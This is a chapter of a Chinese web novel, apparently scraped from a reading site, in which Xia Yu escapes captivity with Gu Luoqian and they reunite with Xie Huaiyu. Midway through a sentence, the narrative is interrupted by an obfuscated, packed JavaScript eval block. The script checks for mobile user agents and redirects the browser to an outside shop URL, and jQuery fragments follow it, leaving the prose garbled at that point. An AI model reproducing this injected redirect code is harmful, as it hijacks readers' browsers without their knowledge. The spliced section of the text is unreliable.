默认冷灰
24号文字
方正启体

33. 南风馆的故事(五)

作者:裴令仪本书字数:K更新时间:
    夏渝观察着两人的一举一动,端着饭假模假样吃着。


    赤色男子一直紧紧盯着顾落浅的一举一动,只是眉头稍微皱了一下,露出痛苦的神色,他便紧张的蹲下,心疼的看着顾落浅手腕上的伤口。


    顾落浅轻轻抽回手,摇了摇头,低下脑袋,拒绝他的示好。


    赤色男子也不气馁,收拾好东西,转身准备离去,没走两步想起还有夏渝这么个人,又转头回来向她伸出手。


    夏渝一愣,试探着将手中的饭碗递过去。


    赤色男子没接过,先是看了看碗中的饭,见一口没少,收回手,狠狠踹了一下铁笼,转身离去。


    铁笼震的嗡嗡响,回荡在这片稍显寂静的空间内,听着人脑袋也嗡嗡作响。


    顾落浅将目光落在迷茫的夏渝身上,见是位娘子,开口安抚道。


    “放心吃吧,他们每半月需要取一次血,只要用你脸的人还活着,就不会在饭菜中下毒。”


    真顾落浅的声音比不得假的清脆,带着许久未曾说话的沙哑,却依旧好听,似山间清泉缓缓流淌,落在耳中是令人舒心的愉悦。


    光听声音,完全没有谢怀玉说的冷淡,反倒像是个热烈的少年郎。


    这做饭的人确实有一手,夏渝闻着香味,肚子咕噜噜叫了起来,却还是警惕的放下了饭碗,摇了摇头。


    顾落浅见状轻笑一声,也没多说,收回了目光。


    两人之间开始了长久的沉默。


    夏渝注意到,那赤色男子离开时,没有将顾落浅的铁笼上锁,她开始盘算着带着人逃出去的可能性有多大。


    “大公子!”


    夏渝呼唤着。


    “可有撬锁的东西?你放进小房间里,我来拿。”


    “好。”


    谢怀玉回的很快,趁着他准备东西的时候,夏渝贴在铁笼杆儿上,试图离顾落浅更近一些。


    “顾落浅!”


    她喊出了他的名字。


    顾落浅将目光又放在了夏渝身上,灌满死水的眼神被投入一粒石子,泛起涟漪,说话的声音都大了些。


    “你认得我?”


    不清楚这里是否有人监听,夏渝不敢再大声说话,挥了挥手示意顾落浅也靠近一些。


    两人距离不远,十步路左右,小声说话,隐约能听清。


    顾落浅眼尾上扬,眼中泛着细碎的光,倒是好脾气的配合着。


    他每日清醒的时候会站起来活动一下身子,此刻挪动的很顺利,将耳朵轻轻附在铁笼上,做出认真聆听样。


    “你可想与我一同逃出去?”


    夏渝一字一句道。


    顾落浅听清后,转过脸望着她,温柔地摇了摇头。


    “我试过了,外头一条路直通这送饭人的住处,他每日都待在此处,不曾离开过。”


    他的声音不小,带着拼尽全力后的疲惫,温柔的诉说着他曾经为逃跑作出的努力。


    “我也算会点武,但我打不过他;我也算懂点机关算法,但这人刀枪不入;我也曾绝食,想着就算不能活着出去,也不要再提供鲜血,让外头的人维持容貌。”


    “都没用,总会有各种各样的阻挠。”


    “我已经记不得我在这儿待了多久,靠与家人的回忆度日才勉强维持。每日不是睡觉,便是站起身来,走在这一方小天地中。”


    “你,为何会认识我?”


    他盯着夏渝的脸,疑惑的问道。


    夏渝紧抓着铁笼,心中泛起阵阵的痒。


    被囚禁着的人,无论是心理还是生理都会遭受巨大创伤,敏感、畏光、昼夜节律紊乱,还有对开阔空间产生的恐惧,都能轻易地摧毁一个人。【1】


    而顾落浅被关在这房间内,唯一的光源是墙壁上的蜡烛,很难想象他是如何靠着回忆度日,又是如何将自己维持在一个正常人的状态。


    夏渝看着顾落浅,说出口的话带着些颤抖,和绵密的疼。


    顾落浅此时的状态算不上差,被人好吃好喝养着,肌肤苍白如雪,能清晰看见皮肉下青蓝色的血管,一身厚长衫洗的发白,望着夏渝的眼神中满是期待。


    “我是大理寺理正夏渝,现任大理寺卿是你兄长,我与大理寺少卿谢怀玉奉旨南下,途经耒阳县,见到了那个假的你。”


    “然后我说了他几句丑,他便将我抓来。”


    顾落浅闻言眼睛又亮了亮,双手紧抓住铁笼,带着急切问道。


    “兄长近日可好?竟成了大理寺卿!平日捕贼累不累啊,可有娶妻,可曾受过伤?”


    不待回复,又难过地垂下眼睑。


    “是我不好,拌两句嘴便跑出家门,也是该遭这一难,不知道兄长可曾思念过我。”


    他无力的靠着铁笼,慢慢滑下,躺在地上摊成一张人饼,散发着悲伤的气息。


    夏渝抓着脑袋思考着如何将人带出去,见人躺在地上,安慰的人反倒成了她。


    “当然念着你,不然我怎会认识你?我们此行本意就是将你救出来。”


    夏渝撒了个小谎,但其实目的也没错。


    “外头那人谢怀玉一见着便知道是假的,正着急忙慌呢,生怕你出了啥事,刚好我被绑了过来,还能给你做个伴。”


    顾落浅笑了笑,又爬了起来,推开铁笼门,拿起一旁木箱上的棍子,替夏渝打开了门。


    “这门其实挺好撬的,一根细棍足矣。”


    “你是想要与我一同逃出去了吗!”


    “我一直都想。”


    只是没成功过。


    顾落浅手腕上的伤口动了两下又渗出鲜血,他不甚在意的拿袖子遮住,又一次燃起对逃亡的兴趣。


    哐啷一声响,门外传来锁被暴力扯走的声音,两人一瞬间各归各位,铁笼门都关严实了。


    但并未发生任何事。


    房间内寂静弥漫了半晌,夏渝壮起胆子,试探着拉开了门。


    反正她有小房间,要死了,躲进去就是,不死顶多挨顿打。


    房门被轻易的拉开,连接的是一条向上的甬道,两人宽,地上还放着一盏手提油灯,正灼灼闪耀着。


    夏渝提起油灯,向后看去。


    顾落浅也走了出来,他看见门外空无一人时,一瞬间竟不知如何言语,喉咙里好像被人塞了一团棉花,吸走了所有水分,所有的话语都被棉花堵了回去。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995081|192113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    梗在喉咙里不上不下的。


    “走吧。”


    他轻声道。


    一出房间,只觉一股凉气扑面而来,顾落浅被冻的打了个哆嗦,身子有些摇晃。


    夏渝见状脱下褂袄给他披上,随后扶着他,一步一步慢慢走。


    常年待在狭小昏暗处的人,乍一出门,会觉得头晕目眩,尽管顾落浅尽力掩饰,夏渝还是从他颤抖的手臂感受到了他的害怕与不适。


    夏渝一边在脑海中给谢怀玉报信,一边跟顾落浅聊天,分散他的注意力。


    “我头一回见你兄长时,被当成犯人押在堂上,那大理寺卿惊堂木一拍,谁来都得抖三抖,当时我怕的浑身发抖,恨不得大喊不要再拍了,你问什么我都招。”


    顾落浅被逗笑了,见她身量不高,力气倒不小,也有了打趣的心思。


    “竟是这般威风?回去可要好好与他讨教讨教。”


    “那可不。”


    回忆起初见种种,夏渝还有些感慨。


    只觉时间一眨眼便走过,转眼间,她从普通的烧火丫鬟到了大理寺理正,既得知了关于大庸朝的秘密,又奉旨南下,途中遇到了形形色色的人。


    学习到了很多,也成长了不少。


    夏渝挑些有趣的讲给他听,时不时吐槽一下上司,惹的顾落浅好一通笑。


    “怀玉哥怎会这样,他不该是板着脸呵斥下人,时不时摇着把扇子,显得自己风度翩翩吗?”


    “噢哟,了解的很到位嘛。”


    胡编乱造的夏渝感叹着。


    这路便在欢声笑语中走了过去,推开尽头的那扇门。


    吱呀一声响。


    映入眼帘的是一间极其简陋的房间,仅有床、桌、椅,和一扇门。


    推门出去,是一条漆黑的小巷,月光照着树影落在地上,隐约可以听见不远处夜市的欢闹声。


    顾落浅下意识抬手挡住眼睛,整个人依偎在小巧的夏渝身上。


    夏渝一边扶着人,一边观察着四周,走到不远处往回一瞧,那赤色男子正站在房门前默默盯着他们俩。


    给人吓一跳,带着顾落浅就死命跑。


    顾落浅许久不曾这般大动作,跑的有些七倒八歪,全身的力都在夏渝身上,而夏渝不知道哪来的一身蛮力,硬生生把人拖到了闹市处,随后气喘吁吁四处张望。


    周围不断地有人好奇的打量着两人,见一位挡着脸的大高个依偎在娘子身上,好笑的指指点点着。


    赤色男子站在巷口的明暗分界处,手中拿着根糖葫芦,糖葫芦落在光下,面上的糖霜格外亮。


    见夏渝望了过来,他挥了挥手。


    此刻,他的手方被烛光照亮。


    耒阳县不大,就这一个夜市,格外热闹。寻人心切的谢怀玉,不多时便带着人赶了过来。


    四周是熙熙攘攘的人群,叫卖声、杂耍声混在一处,白到反光的顾落浅就这样映入了他的眼帘。


    “小弟。”


    谢怀玉望着顾落浅无力的抱着夏渝,一脸难受的模样,心疼的不得了,说出口的话哽咽再三,化成一声呼唤。


    “走了,我带你回家。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)